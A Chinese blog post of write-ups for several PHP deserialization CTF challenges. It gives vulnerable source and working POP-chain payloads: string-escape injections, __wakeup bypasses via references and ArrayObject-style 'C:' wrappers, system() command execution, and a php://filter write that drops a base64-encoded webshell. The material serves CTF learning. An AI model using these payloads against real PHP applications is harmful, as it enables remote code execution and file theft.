php反序列化的ctf题目

[SWPUCTF 2021 新生赛]pop

这一道题我看了好一会wp才想明白,还是太菜鸡了,下面整理一下思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

我们观察php代码可以,要想获得flag,有一个 function Getflag()函数,我们需要调用这个函数。

然后在w33m这个类中看到有一个函数调用的。

即:$this->w00m->{$this->w22m}(); 这里w00m是w44m这个类,然后为w22m是Getflag这个函数。

这里需要触发toString魔术方法,然后通过echo进行输出,echo $this->w00m;。

链子:

getflag ->tostring -> _destruct 很短。

最后需要进行url编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class w44m{

private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m{
public $w00m;
}

class w33m{
public $w00m;
public $w22m;
}
$a=new w44m();
$b=new w22m();
$c=new w33m();
$c->w00m=$a;
$c->w22m=Getflag;
$b->w00m=$c;
echo urlencode(serialize($b));

?>

prize_p5

很有意思的一道题目,预期解就是通过字符串逃逸去读取flag非预期就是通过十六进制利用原生类去读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
error_reporting(0);

class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){ //这个object就是object字符串 所以用原生类去读取的时候会被过滤掉
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>

先来说一下非预期解:

非预期就是利用Globlterator 去读取flag的具体位置,但是环境可能出了点问题,出不来,看其他的wp是 /flag

用SplFileObject 去读取的时候object会被过滤掉

但是有一种方法就是利用十六进制

1
O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:5:"/flag";}

把SplFileObject前面的那个小写的s替换成大写的S 然后后面的Object任意一个字符替换成十六进制

Object对应的十六进制是\x4F\x62\x6A\x65\x63\x74 然后传的时候把x去掉

然后下面是预期解 通过字符串逃逸

这个题的话可以通过字符串逃逸增加,也可以通过字符串逃逸减少 下面介绍一下字符串逃逸增加的用法

字符串逃逸增加:

我这个是通过NSS来的,你通过其他的比hacker少的字符来的话都可以其实

先来看下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";

这个首先对email的值进行了一个/flag的检测,(不区分大小写)

然后分别POST传参三个参数 abscond这个函数就是进行一个替换 ‘NSS’, ‘CTF’, ‘OTL_QAQ’, ‘hello’ 如果匹配到了上面四个值的话,就会替换成hacker

接下来进行一个反序列化,get_object_vars这个函数的意思可以看看以下演示的理解一下

总的说就是用于获取指定对象的属性和值,并返回一个关联数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Person {
public $name;
public $age;

public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
}

$person = new Person("John Doe", 25);

$vars = get_object_vars($person);
print_r($vars);

输出结果:

1
2
3
4
5
6
Array
(
[name] => John Doe
[age] => 25
)

最后的那个if判断就是如果phone是一个数组的话,就把以email为路径的文件内容给读取并以字符串的形式给打印出来

最后把内容进行一个base64加密

分析完后我们通过字符串逃逸的方式,将email的值设为/flag,然后把它给放到name里面去,让它变成一个name的值

这样就绕过了对email的一个检测

先来看一下简单的一个测试:

1
2
3
4
5
6
7
8
9
10
<?php
class escape{
public $name = 'Nq';
public $phone = array('aa');
public $email = '/flag';
}
$a=new escape();
$b=serialize($a);
echo $b;
?>

结果如下:

1
O:6:"escape":3:{s:4:"name";s:2:"Nq";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}

我们要做的就是将”;s:5:”phone”;a:1:{i:0;s:2:”aa”;}s:5:”email”;s:5:”/flag”;}这个给变成name的一个值

字符串逃逸的话可以去看看我的这篇博客 (初学者,是自己对反序列化逃逸的一个理解)

上面我们要塞进去的有58个字符,有一点点长啊

一个NSS可以逃逸出3个字符,根据计算我们要19个NSS加一个hello

name的值就是:
name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello”;s:5:”phone”;a:1:{i:0;s:2:”aa”;}s:5:”email”;s:5:”/flag”;}

然后phpone的值随便输就行,注意的是emial的值不能是/flag,其他的都可以

image-20230625162958674

[SWPU 2018]SimplePHP

这个题目的话使用到了phar反序列化 总体思路就是构造pop链,生成一个phar文件,由于做了一个白名单限制,但是利用phar伪协议去读取的时候与后缀名无关,关键是里面的数据要对

所以就手动修改一下后缀名就可以了 上传文件 在upload下查看一下

看到上传的文件名 在查看文件那里读取一下就可以了

重点来看一下这个pop链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php

class C1e4r
{
public $test;
public $str;

public function __construct($name)
{
$this->str = $name;
}

public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;

public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}

public function __toString()
{
$content = $this->str['str']->source;
return $content;
}

public function __set($key, $value)
{
$this->$key = $value;
}

public function _show()
{
if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $file;
public $params;

public function __construct()
{
$this->params = array();
}

public function __get($key)
{
return $this->get($key);
}

public function get($key)
{
if (isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}

public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

我们先大概看一遍,然后发现了file_get_contents()这个函数 读取指定路径下文件的内容

file_get_()——>get——> _get魔术方法 ——>tostring——>上面那个类的echo

pop链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source']="/var/www/html/f1ag.php";
$b->str['str']=$c;
$a->str=$b;
?>

[HZNUCTF 2023 preliminary]ppppop已解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
include('utils.php');

class A {
public $className;
public $funcName;
public $args;

public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}

class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}

if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}


这一题的话跟学校新生赛有一道题很像 我感觉出处就是这里

就是进行一个cookie身份验证 然后可以得到代码

这个代码相对来说较为简单

让className为B 可以触发call魔术方法 然后下面就是进行一个命令执行 读取环境变量 env 就可以得到flag 否则的话的去其他目录下面寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include('utils.php');

class A {
public $className;
public $funcName;
public $args;

public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
$a=new A();
$b=new B();
$a->className='B';
$a->funcName="system";
$a->args='env';
echo base64_encode(strrev(serialize($a)));
?>

[UUCTF 2022 新生赛]ez_unser

下面来看一下利用引用绕过wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
你输入的不正确!!!搞什么!!

这个的话在wakeup这里会将a赋为一个空值 然后这样的话我们的eval($this->a)就不能被执行

一般来讲 绕过wakeup就是成员属性的数量比实际的大就可以

就拿上面来说:将test实例化成对象然后进行反序列化的时候结果如下:

1
O:4:"test":3:{s:1:"a";i:1;s:1:"b";i:2;s:1:"c";i:3;}

就是将test”:3 改成test”:4 即可 但你看下面的正则匹配

1
2
3
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}

这个值是不能变化的 那么就不能通过这个进行绕过

这就要引入了一个知识点 :引用的概念:简单来讲就是两个变量指向的是同一个地址块 所以两个变量其实也就是一个变量了

我们可以将a和b进行一个引用 再利用下面的

$this->b=$this->c; c的值赋给了b 说白了也就是给了a

这样就可以绕过了wakeup 综上所述 pop如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$d=new test();
$d->b=&$d->a;
$d->c='system("cat /f*");';
echo serialize($d);
?>

[UUCTF 2022 新生赛]ezpop

这一题考察的是反序列化利用引用绕过wakeup和利用字符串逃逸构造恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>

这个引用绕过 wakeup 上面那一题跟这个很像 所以就不再过多的简述

链子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//flag in flag.php
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$c=new output();
$d=new nothing();
$e=new youwant();
$e->cmd='system("cat flag.php");';
$c->a=$e;
$d->b=&$d->a;
$d->t=$c;
echo base64_encode(serialize($d));
?>

然后为什么要进行一个base64编码呢 因为上面的

$this->ob=unserialize(base64_decode($this->basedata));

先来说一下后面的实现过程

下面post传入一个值 然后给了pdata 这个pdata也就相当于上面的 $this->name=$str;

然后进行一个替换匹配到了hacker给替换成loveuu!这个联想到了字符串逃逸增加

最后进行一个反序列化 这里触发了上面的wakeup

1
2
3
4
5
6
7
8
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}

对basedata的值进行一个base64解码并且反序列化

最下面的对传入的post的值进行一个序列化 这里的key和basedata都是空值 因为它接收的是上面的name的值 所以这里为了下一步wakeup里面的进行 进行了一个字符串逃逸

“;s:3:”key”;s:5:”UUCTF”;s:8:”basedata”;s:176:”Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oImNhdCBmbGFnLnBocCIpOyI7fX19”;s:2:”ob”;N;} 236个字符 需要236个hacker

[安洵杯 2019]easy_serialize_php

这一题的话考察了对字符串逃逸的理解以及变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

先来看一下整体的思路: 就是让file_get_contents去读取flag所在的路径

f接收了function的值 下面的extract函数会进行一个变量覆盖

如下:

1
2
3
4
5
6
7
8
9
10
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($_SESSION);
echo "<br>";
extract($_POST);
echo '覆盖后:';
var_dump($_SESSION);
?>

image-20230703154953884

先看看phpinfo里面有没有什么东西 发现有一个文件名 d0g3_f1ag.php

然后我们要利用file_get_contents 进行读取的话 需要满足$_GET[‘img_path为空 当它为空时 利用字符串逃逸将guest_img.png 这个名字变成

d0g3_f1ag.php的名字

image-20230703155417260

正常的是这个

然后将AA换成flag或者其他字符的话就可以进行字符串逃逸

我们需要的是:
“;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;} 就是将base64字符换一下 这个长度是不变的 更方便了

最终测试结果:

1
_SESSION[flagphpimg]=;s:3:"123"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ctfshow 愚人杯 easy_php

这个是在php7.3下绕过wakeup的一个trick

这个的话是使用php的一些内置类进行绕过的。用C开头绕过wakeup

先来看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>

思路就是绕过wakeup,下面这个正则匹配就是不能是Oa开头,所以数组绕过就不可以,然后有一种绕过wakeup的方法是在O或a的后面数字的前面加上一个+,但这只是低版本的绕过。

现在php是7.3版本,需要利用C绕过。

如果我们仅仅将O改成C的话是不解析的,因为这个C是一个类,不在是一个对象,我们没有对它进行一个serialize 就不能进行反序列化。

所以我们这个时候就要用到了内置类。

Arrayobject。

当然还有其他的也可以用,这里参考师傅的博客:https://boogipop.com/2023/04/02/%E6%84%9A%E4%BA%BA%E6%9D%AF3rd%20[easy_php]/

可以用的类有:

  • ArrayObject::unserialize

  • ArrayIterator::unserialize

  • RecursiveArrayIterator::unserialize

  • SplObjectStorage::unserialize

    下面我们可以进行一个演示。

    ArrayObiect:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php

    class ctfshow{
    public $ctfshow = 'cat /f*';

    }
    $a= new ArrayObject();
    $a -> b = new ctfshow(); //这个b的话可以是其他字母,没有影响
    echo serialize($a);
    ?>

    image-20230923113604625

ArrayIterator:

1
2
3
4
5
6
7
8
9
10
<?php

class ctfshow{
public $ctfshow = 'cat /f*';

}
$a= new ArrayIterator();
$a -> b = new ctfshow();
echo serialize($a);
?>

image-20230923113657744

RecursiveArrayIterator:

1
2
3
4
5
6
7
8
9
10
<?php

class ctfshow{
public $ctfshow = 'cat /f*';

}
$a= new RecursiveArrayIterator();
$a -> b = new ctfshow();
echo serialize($a);
?>

image-20230923113836148

SplObjectStorage:

1
2
3
4
5
6
7
8
9
10
11
<?php

class ctfshow{
public $ctfshow = 'cat /f*';

}
$a= new SplObjectStorage();
$a -> b = new ctfshow();
echo serialize($a);
?>

image-20230923114023257

这里我是在本地进行执行的,phpstorm我不知道为什么执行完是O开头的。

nss上面的一题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);
class popmart{
public $yuki;
public $molly;
public $dimoo;

public function __construct(){
$this->yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}

public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;

if($this->molly === $this->yuki){
echo '1';
}
}
}

$pucky = $_GET['wq'];
if(isset($pucky)){
if($pucky==="二仙桥"){
extract($_POST);
if($pucky==="二仙桥"){
die("<script>window.alert('说说看,你要去哪??');</script>");
}
unserialize($pucky);
}
}

前面的还好,就是引用绕过,主要是后面的传值,自己不怎么会,这里记录一下。

好吧,看了wp之后才发现自己是笨比。

前面因为是变量覆盖,我们可以先让wq=二仙桥 进入第二个if判断中,然后下面就是在post中传入pucky=…..(经过序列化后的值 也就是我们构造后得出来的)

shctf新生赛 sseerriiaalliizzee

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 <?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}

class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;

}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";

}
}

$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>

这里和[羊城杯 2020]EasySer的题非常像

绕过就是把die给过了

然后思路就是给part1和part2分别进行伪协议写文件名和base64传木马

payload:

1
2
3
4
5
6
$a=new Start();
$b=new CTF();
$b->part1='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
$b->part2='PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7Pz4=';
$a->barking=$b;
echo serialize($a);

php反序列化的ctf题目
http://example.com/2023/11/15/在ctf题目中遇到的php反序列化/
作者
FSRM
发布于
2023年11月15日
更新于
2023年11月15日
许可协议